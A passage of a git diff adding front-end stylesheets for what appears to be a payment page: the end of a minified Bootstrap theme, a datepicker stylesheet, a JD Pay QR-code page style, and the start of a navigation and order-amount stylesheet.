Neue",Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.42857143;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;font-size:12px;filter:alpha(opacity=0);opacity:0}.tooltip.in{filter:alpha(opacity=90);opacity:0.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000000}.tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;background-color:#000000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.42857143;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;font-size:14px;background-color:#ffffff;background-clip:padding-box;border:1px solid #cccccc;border:1px solid rgba(0,0,0,0.2);border-radius:6px;box-shadow:0 5px 10px rgba(0,0,0,0.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover>.arrow{border-width:11px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999999;border-top-color:rgba(0,0,0,0.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#ffffff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999999;border-right-color:rgba(0,0,0,0.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#ffffff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999999;border-bottom-color:rgba(0,0,0,0.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#ffffff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999999;border-left-color:rgba(0,0,0,0.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#ffffff}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;transition:.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{transition:-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.next,.carousel-inner>.item.active.right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0);left:0}.carousel-inner>.item.prev,.carousel-inner>.item.active.left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0);left:0}.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right,.carousel-inner>.item.active{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);left:0}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6);background-color:rgba(0,0,0,0);filter:alpha(opacity=50);opacity:0.5}.carousel-control.left{background-image:linear-gradient(to right, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:linear-gradient(to right, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:hover,.carousel-control:focus{color:#ffffff;text-decoration:none;outline:0;filter:alpha(opacity=90);opacity:0.9}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;margin-left:-10px}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;margin-right:-10px}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:"\2039"}.carousel-control .icon-next:before{content:"\203a"}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0);border:1px solid #ffffff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#ffffff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.container:before,.container:after,.container-fluid:before,.container-fluid:after,.row:before,.row:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.btn-toolbar:before,.btn-toolbar:after,.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after,.pager:before,.pager:after,.panel-body:before,.panel-body:after,.modal-header:before,.modal-header:after,.modal-footer:before,.modal-footer:after{display:table;content:" "}.clearfix:after,.dl-horizontal dd:after,.container:after,.container-fluid:after,.row:after,.form-horizontal .form-group:after,.btn-toolbar:after,.btn-group-vertical>.btn-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after,.pager:after,.panel-body:after,.modal-header:after,.modal-footer:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none !important}@media (max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table !important}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width:767px){.visible-xs-block{display:block !important}}@media (max-width:767px){.visible-xs-inline{display:inline !important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table !important}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table !important}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media (min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table !important}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width:1200px){.visible-lg-block{display:block !important}}@media (min-width:1200px){.visible-lg-inline{display:inline !important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width:767px){.hidden-xs{display:none !important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media (min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table !important}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}}.navbar{background-image:linear-gradient(#54b4eb, #2fa4e7 60%, #1d9ce5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff54b4eb', endColorstr='#ff1d9ce5', GradientType=0);background-repeat:no-repeat;border-bottom:1px solid #178acc;-webkit-filter:none;filter:none;box-shadow:0 1px 10px rgba(0,0,0,0.1)}.navbar-default .badge{background-color:#fff;color:#2fa4e7}.navbar-inverse{background-image:linear-gradient(#04519b, #044687 60%, #033769);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff04519b', endColorstr='#ff033769', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #022241}.navbar-inverse .badge{background-color:#fff;color:#033c73}.navbar .navbar-nav>li>a,.navbar-brand{text-shadow:0 1px 0 rgba(0,0,0,0.1)}@media (max-width:767px){.navbar .dropdown-header{color:#fff}.navbar .dropdown-menu a{color:#fff}}.btn{text-shadow:0 1px 0 rgba(0,0,0,0.1)}.btn .caret{border-top-color:#fff}.btn-default{background-image:linear-gradient(#fff, #fff 60%, #f5f5f5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff5f5f5', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #e6e6e6}.btn-default:hover{color:#555555}.btn-default .caret{border-top-color:#555555}.btn-default{background-image:linear-gradient(#fff, #fff 60%, #f5f5f5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff5f5f5', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #e6e6e6}.btn-primary{background-image:linear-gradient(#54b4eb, #2fa4e7 60%, #1d9ce5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff54b4eb', endColorstr='#ff1d9ce5', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #178acc}.btn-success{background-image:linear-gradient(#88c149, #73a839 60%, #699934);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff88c149', endColorstr='#ff699934', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #59822c}.btn-info{background-image:linear-gradient(#04519b, #033c73 60%, #02325f);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff04519b', endColorstr='#ff02325f', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #022241}.btn-warning{background-image:linear-gradient(#ff6707, #dd5600 60%, #c94e00);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff6707', endColorstr='#ffc94e00', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #aa4200}.btn-danger{background-image:linear-gradient(#e12b31, #c71c22 60%, #b5191f);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe12b31', endColorstr='#ffb5191f', GradientType=0);background-repeat:no-repeat;-webkit-filter:none;filter:none;border-bottom:1px solid #9a161a}.panel-primary .panel-heading,.panel-success .panel-heading,.panel-warning .panel-heading,.panel-danger .panel-heading,.panel-info .panel-heading,.panel-primary .panel-title,.panel-success .panel-title,.panel-warning .panel-title,.panel-danger .panel-title,.panel-info .panel-title{color:#fff} \ No newline at end of file diff --git a/assets/css/datepicker.css b/assets/css/datepicker.css new file mode 100644 index 0000000..c6a706d --- /dev/null +++ b/assets/css/datepicker.css @@ -0,0 +1,383 @@ +/* +================================================================= +(#06dps) Datepicker for Bootstrap +Copyright 2012 Stefan Petre +Improvements by Andrew Rowls + +Licensed under the Apache License v2.0 +http://www.apache.org/licenses/LICENSE-2.0 +================================================================= +*/ + +.datepicker { + padding: 5px; + direction: ltr; + z-index: 1051 !important; +} +.datepicker-inline { + width: 220px; +} +.datepicker.datepicker-rtl { + direction: rtl; +} +.datepicker.datepicker-rtl table tr td span { + float: right; +} +.datepicker-dropdown { + top: 0; + left: 0; + padding: 5px !important; +} +.datepicker-dropdown:before { + content: ''; + display: inline-block; + border-left: 7px solid transparent; + border-right: 7px solid transparent; + border-bottom: 7px solid #ccc; + border-top: 0; + border-bottom-color: rgba(0, 0, 0, 0.2); + position: absolute; +} +.datepicker-dropdown:after { + content: ''; + display: inline-block; + border-left: 6px solid transparent; + border-right: 6px solid transparent; + border-bottom: 6px solid #ffffff; + border-top: 0; + position: absolute; +} +.datepicker-dropdown.dropdown-menu { + -webkit-transform: none !important; + transform: none !important; + -webkit-transition: none !important; + transition: none !important; +} +.datepicker-dropdown.datepicker-orient-left:before { + left: 6px; +} +.datepicker-dropdown.datepicker-orient-left:after { + left: 7px; +} +.datepicker-dropdown.datepicker-orient-right:before { + right: 6px; +} +.datepicker-dropdown.datepicker-orient-right:after { + right: 7px; +} +.datepicker-dropdown.datepicker-orient-bottom:before { + top: -7px; +} +.datepicker-dropdown.datepicker-orient-bottom:after { + top: -6px; +} +.datepicker-dropdown.datepicker-orient-top:before { + bottom: -7px; + border-bottom: 0; + border-top: 7px solid rgba(0, 0, 0, 0.15); +} +.datepicker-dropdown.datepicker-orient-top:after { + bottom: -6px; + border-bottom: 0; + border-top: 6px solid #ffffff; +} +.datepicker.days div.datepicker-days { + display: block; +} +.datepicker.months div.datepicker-months { + display: block; +} +.datepicker.years div.datepicker-years { + display: block; +} +.datepicker table { + margin: 0; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.datepicker td, +.datepicker th { + text-align: center; + width: 20px; + height: 20px; + border: none; + border-radius: 3px; +} +.table-striped .datepicker table tr td, +.table-striped .datepicker table tr th { + background-color: transparent; +} +.datepicker table tr td.day:hover { + background: #eeeeee; + cursor: pointer; +} +.datepicker table tr td.old, +.datepicker table tr td.new { + color: #999999; +} +.datepicker table tr td.disabled, +.datepicker table tr td.disabled:hover { + background: none; + color: #999999; + cursor: default; +} +.datepicker table tr td.today, +.datepicker table tr td.today:hover, +.datepicker table tr td.today.disabled, +.datepicker table tr td.today.disabled:hover { + background-color: #fde19a; + color: #000; +} +.datepicker table tr td.today:hover, +.datepicker table tr td.today:hover:hover, +.datepicker table tr td.today.disabled:hover, +.datepicker table tr td.today.disabled:hover:hover, +.datepicker table tr td.today:active, +.datepicker table tr td.today:hover:active, +.datepicker table tr td.today.disabled:active, +.datepicker table tr td.today.disabled:hover:active, +.datepicker table tr td.today.active, +.datepicker table tr td.today:hover.active, +.datepicker table tr td.today.disabled.active, +.datepicker table tr td.today.disabled:hover.active, +.datepicker table tr td.today.disabled, +.datepicker table tr td.today:hover.disabled, +.datepicker table tr td.today.disabled.disabled, +.datepicker table tr td.today.disabled:hover.disabled, +.datepicker table tr td.today[disabled], +.datepicker table tr td.today:hover[disabled], +.datepicker table tr td.today.disabled[disabled], +.datepicker table tr td.today.disabled:hover[disabled] { + background-color: #fdf59a; +} +.datepicker table tr td.today:active, +.datepicker table tr td.today:hover:active, +.datepicker table tr td.today.disabled:active, +.datepicker table tr td.today.disabled:hover:active, +.datepicker table tr td.today.active, +.datepicker table tr td.today:hover.active, +.datepicker table tr td.today.disabled.active, +.datepicker table tr td.today.disabled:hover.active { + background-color: #fbf069 \9; +} +.datepicker table tr td.today:hover:hover { + color: #000; +} +.datepicker table tr td.today.active:hover { + color: #fff; +} +.datepicker table tr td.range, +.datepicker table tr td.range:hover, +.datepicker table tr td.range.disabled, +.datepicker table tr td.range.disabled:hover { + background: #eeeeee; + border-radius: 0; +} +.datepicker table tr td.range.today, +.datepicker table tr td.range.today:hover, +.datepicker table tr td.range.today.disabled, +.datepicker table tr td.range.today.disabled:hover { + background-color: #f3d17a; +} +.datepicker table tr td.range.today:hover, +.datepicker table tr td.range.today:hover:hover, +.datepicker table tr td.range.today.disabled:hover, +.datepicker table tr td.range.today.disabled:hover:hover, +.datepicker table tr td.range.today:active, +.datepicker table tr td.range.today:hover:active, +.datepicker table tr td.range.today.disabled:active, +.datepicker table tr td.range.today.disabled:hover:active, +.datepicker table tr td.range.today.active, +.datepicker table tr td.range.today:hover.active, +.datepicker table tr td.range.today.disabled.active, +.datepicker table tr td.range.today.disabled:hover.active, +.datepicker table tr td.range.today.disabled, +.datepicker table tr td.range.today:hover.disabled, +.datepicker table tr td.range.today.disabled.disabled, +.datepicker table tr td.range.today.disabled:hover.disabled, +.datepicker table tr td.range.today[disabled], +.datepicker table tr td.range.today:hover[disabled], +.datepicker table tr td.range.today.disabled[disabled], +.datepicker table tr td.range.today.disabled:hover[disabled] { + background-color: #f3e97a; +} +.datepicker table tr td.range.today:active, +.datepicker table tr td.range.today:hover:active, +.datepicker table tr td.range.today.disabled:active, +.datepicker table tr td.range.today.disabled:hover:active, +.datepicker table tr td.range.today.active, +.datepicker table tr td.range.today:hover.active, +.datepicker table tr td.range.today.disabled.active, +.datepicker table tr td.range.today.disabled:hover.active { + background-color: #efe24b \9; +} +.datepicker table tr td.selected, +.datepicker table tr td.selected:hover, +.datepicker table tr td.selected.disabled, +.datepicker table tr td.selected.disabled:hover { + background-color: #9e9e9e; + color: #ffffff; +} +.datepicker table tr td.selected:hover, +.datepicker table tr td.selected:hover:hover, +.datepicker table tr td.selected.disabled:hover, +.datepicker table tr td.selected.disabled:hover:hover, +.datepicker table tr td.selected:active, +.datepicker table tr td.selected:hover:active, +.datepicker table tr td.selected.disabled:active, +.datepicker table tr td.selected.disabled:hover:active, +.datepicker table tr td.selected.active, +.datepicker table tr td.selected:hover.active, +.datepicker table tr td.selected.disabled.active, +.datepicker table tr td.selected.disabled:hover.active, +.datepicker table tr td.selected.disabled, +.datepicker table tr td.selected:hover.disabled, +.datepicker table tr td.selected.disabled.disabled, +.datepicker table tr td.selected.disabled:hover.disabled, +.datepicker table tr td.selected[disabled], +.datepicker table tr td.selected:hover[disabled], +.datepicker table tr td.selected.disabled[disabled], +.datepicker table tr td.selected.disabled:hover[disabled] { + background-color: #808080; +} +.datepicker table tr td.selected:active, +.datepicker table tr td.selected:hover:active, +.datepicker table tr td.selected.disabled:active, +.datepicker table tr td.selected.disabled:hover:active, +.datepicker table tr td.selected.active, +.datepicker table tr td.selected:hover.active, +.datepicker table tr td.selected.disabled.active, +.datepicker table tr td.selected.disabled:hover.active { + background-color: #666666 \9; +} +.datepicker table tr td.active, +.datepicker table tr td.active:hover, +.datepicker table tr td.active.disabled, +.datepicker table tr td.active.disabled:hover { + background-color: #5ccdde; + color: #ffffff; +} +.datepicker table tr td.active:hover, +.datepicker table tr td.active:hover:hover, +.datepicker table tr td.active.disabled:hover, +.datepicker table tr td.active.disabled:hover:hover, +.datepicker table tr td.active:active, +.datepicker table tr td.active:hover:active, +.datepicker table tr td.active.disabled:active, +.datepicker table tr td.active.disabled:hover:active, +.datepicker table tr td.active.active, +.datepicker table tr td.active:hover.active, +.datepicker table tr td.active.disabled.active, +.datepicker table tr td.active.disabled:hover.active, +.datepicker table tr td.active.disabled, +.datepicker table tr td.active:hover.disabled, +.datepicker table tr td.active.disabled.disabled, +.datepicker table tr td.active.disabled:hover.disabled, +.datepicker table tr td.active[disabled], +.datepicker table tr td.active:hover[disabled], +.datepicker table tr td.active.disabled[disabled], +.datepicker table tr td.active.disabled:hover[disabled] { + background-color: #5ccdde; +} +.datepicker table tr td.active:active, +.datepicker table tr td.active:hover:active, +.datepicker table tr td.active.disabled:active, +.datepicker table tr td.active.disabled:hover:active, +.datepicker table tr td.active.active, +.datepicker table tr td.active:hover.active, +.datepicker table tr td.active.disabled.active, +.datepicker table tr td.active.disabled:hover.active { + background-color: #003399 \9; +} +.datepicker table tr td span { + display: block; + width: 23%; + height: 54px; + line-height: 54px; + float: left; + margin: 1%; + cursor: pointer; +} +.datepicker table tr td span:hover { + background: #eeeeee; +} +.datepicker table tr td span.disabled, +.datepicker table tr td span.disabled:hover { + background: none; + color: #999999; + cursor: default; +} +.datepicker table tr td span.active, +.datepicker table tr td span.active:hover, +.datepicker table tr td span.active.disabled, +.datepicker table tr td span.active.disabled:hover { + background-color: #006dcc; + color: #ffffff; +} +.datepicker table tr td span.active:hover, +.datepicker table tr td span.active:hover:hover, +.datepicker table tr td span.active.disabled:hover, +.datepicker table tr td span.active.disabled:hover:hover, +.datepicker table tr td span.active:active, +.datepicker table tr td span.active:hover:active, +.datepicker table tr td span.active.disabled:active, +.datepicker table tr td span.active.disabled:hover:active, +.datepicker table tr td span.active.active, +.datepicker table tr td span.active:hover.active, +.datepicker table tr td span.active.disabled.active, +.datepicker table tr td span.active.disabled:hover.active, +.datepicker table tr td span.active.disabled, +.datepicker table tr td span.active:hover.disabled, +.datepicker table tr td span.active.disabled.disabled, +.datepicker table tr td span.active.disabled:hover.disabled, +.datepicker table tr td span.active[disabled], +.datepicker table tr td span.active:hover[disabled], +.datepicker table tr td span.active.disabled[disabled], +.datepicker table tr td span.active.disabled:hover[disabled] { + background-color: #5ccdde; +} +.datepicker table tr td span.active:active, +.datepicker table tr td span.active:hover:active, +.datepicker table tr td span.active.disabled:active, +.datepicker table tr td span.active.disabled:hover:active, +.datepicker table tr td span.active.active, +.datepicker table tr td span.active:hover.active, +.datepicker table tr td span.active.disabled.active, +.datepicker table tr td span.active.disabled:hover.active { + background-color: #003399 \9; +} +.datepicker table tr td span.old, +.datepicker table tr td span.new { + color: #999999; +} +.datepicker th.datepicker-switch { + width: 145px; +} +.datepicker .datepicker-switch, +.datepicker .prev, +.datepicker .next, +.datepicker tfoot tr th { + cursor: pointer; +} +.datepicker thead tr:first-child th, +.datepicker tfoot tr th { + cursor: pointer; +} +.datepicker thead tr:first-child th:hover, +.datepicker tfoot tr th:hover { + background: #eeeeee; +} +.datepicker .cw { + font-size: 10px; + width: 12px; + padding: 0 2px 0 5px; + vertical-align: middle; +} +.datepicker thead tr:first-child th.cw { + cursor: default; + background-color: transparent; +} diff --git a/assets/css/jd-pay.png b/assets/css/jd-pay.png new file mode 100644 index 0000000..ba9f82c Binary files /dev/null and b/assets/css/jd-pay.png differ diff --git a/assets/css/jd_pay.css b/assets/css/jd_pay.css new file mode 100644 index 0000000..d45106e --- /dev/null +++ b/assets/css/jd_pay.css @@ -0,0 +1,6 @@ +@charset "UTF-8";html{font-size:62.5%;font-family:'helvetica neue',tahoma,arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td,hr{margin:0;padding:0}body{line-height:1.333;font-size:12px}h1,h2,h3,h4,h5,h6{font-size:100%;font-family:arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}input,textarea,select,button{font-size:12px;font-weight:normal}input[type="button"],input[type="submit"],select,button{cursor:pointer}table{border-collapse:collapse;border-spacing:0}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal}li{list-style:none}caption,th{text-align:left}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}fieldset,img,a img,iframe{border-width:0;border-style:none}img{-ms-interpolation-mode:bicubic}textarea{overflow-y:auto}legend{color:#000}a:link,a:visited{text-decoration:none}hr{height:0}label{cursor:pointer}.clearfix:after{content:"\200B";display:block;height:0;clear:both}.clearfix{*zoom:1}a{color:#328CE5}a:hover{color:#2b8ae8;text-decoration:none}a.hit{color:#C06C6C}a:focus{outline:none}.hit{color:#8DC27E}.txt_auxiliary{color:#A2A2A2}.clear{*zoom:1}.clear:before,.clear:after{content:"";display:table}.clear:after{clear:both}body,.body{background:#f7f7f7;height:100%}.mod-title{height:60px;line-height:60px;text-align:center;border-bottom:1px solid #ddd;background:#fff}.mod-title .ico-wechat{display:inline-block;width:41px;height:36px;background:url("./jd-pay.png") 0 -115px no-repeat;vertical-align:middle;margin-right:7px}.mod-title .text{font-size:20px;color:#333;font-weight:normal;vertical-align:middle}.mod-ct{width:610px;padding:0 135px;margin:0 auto;margin-top:15px;background:#fff url("./wave.png") top center repeat-x;text-align:center;color:#333;border:1px solid #e5e5e5;border-top:none}.mod-ct .order{font-size:20px;padding-top:30px}.mod-ct .amount{font-size:48px;margin-top:20px}.mod-ct .qr-image{margin-top:30px}.mod-ct .qr-image img{width:230px;height:230px}.mod-ct .detail{margin-top:60px;padding-top:25px}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./jd-pay.png") -25px -100px no-repeat}.mod-ct .detail .detail-ct{display:none;font-size:14px;text-align:right;line-height:28px}.mod-ct .detail .detail-ct dt{float:left}.mod-ct .detail-open{border-top:1px solid #e5e5e5}.mod-ct .detail .arrow{padding:6px 34px;border:1px solid #e5e5e5}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./jd-pay.png") -25px -100px no-repeat}.mod-ct .detail-open .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./jd-pay.png") 0 -100px no-repeat}.mod-ct .detail-open .detail-ct{display:block}.mod-ct .tip{margin-top:40px;border-top:1px dashed #e5e5e5;padding:30px 0;position:relative}.mod-ct .tip .ico-scan{display:inline-block;width:56px;height:55px;background:url("./jd-pay.png") 0 0 no-repeat;vertical-align:middle;*display:inline;*zoom:1}.mod-ct .tip .tip-text{display:inline-block;vertical-align:middle;text-align:left;margin-left:23px;font-size:16px;line-height:28px;*display:inline;*zoom:1}.mod-ct .tip .dec{display:inline-block;width:22px;height:45px;background:url("./jd-pay.png") 0 -55px no-repeat;position:absolute;top:-23px}.mod-ct .tip .dec-left{background-position:0 -55px;left:-136px}.mod-ct .tip .dec-right{background-position:-25px -55px;right:-136px}.foot{text-align:center;margin:30px auto;color:#888888;font-size:12px;line-height:20px;font-family:"simsun"}.foot .link{color:#0071ce} +@media (max-width:768px){.mod-ct{width:100%;padding:0;border:0} +.mod-ct .tip .dec-right{display:none} +.mod-ct .detail{margin-top:30px} +.mod-ct .detail .detail-ct{padding:0 19px;margin-bottom:19px} +} \ No newline at end of file diff --git a/assets/css/main12.css b/assets/css/main12.css new file mode 100644 index 0000000..2657b42 --- /dev/null +++ b/assets/css/main12.css @@ -0,0 +1,236 @@ +@charset "utf-8"; + +/* 导航 */ +.navBD12{ border-bottom:1px solid #89c1ed;} +.nav12{ height:60px; padding-top:14px;} +.nav12 img{ max-height:100%;} +.nav12-left{ height:100%;float:left;} +.nav12-right{ height:100%;float:right;padding-top: 7px;font-size: 22px;color: #6586ff;} +.show-xs{ display:none;} + +/* 订单金额 */ +.order-amount12{ width:1010px; height:88px; padding:20px 35px; background:#fff; margin-top:35px;} +.order-amount12 span{ font-size:16px; 